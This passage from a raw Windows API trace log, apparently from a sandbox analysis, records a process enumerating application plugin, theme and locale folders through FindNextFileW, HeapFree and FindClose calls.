cAlternateFileName="")) returned 1 [0268.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.954] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0268.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.954] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0268.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.954] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0268.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.954] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0268.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.954] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.955] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0268.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.955] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0268.955] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0268.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.960] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0268.960] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0268.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.961] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0268.961] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0268.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="home", cAlternateFileName="")) returned 1 [0268.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0268.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.967] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0268.967] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0268.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0268.967] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0268.967] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0268.968] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.968] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0269.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0269.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.039] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0269.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.040] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0269.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.041] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0269.042] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.042] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0269.042] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.042] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0269.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.043] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0269.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.044] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0269.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.044] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0269.046] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.046] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0269.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.047] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0269.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.047] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.048] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.048] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0269.048] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.048] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0269.048] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0269.048] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.051] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1 [0269.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.060] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0269.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0269.119] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0269.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0269.119] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0269.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.148] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0269.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.149] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0269.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.150] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0269.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.150] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0269.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.151] FindNextFileW 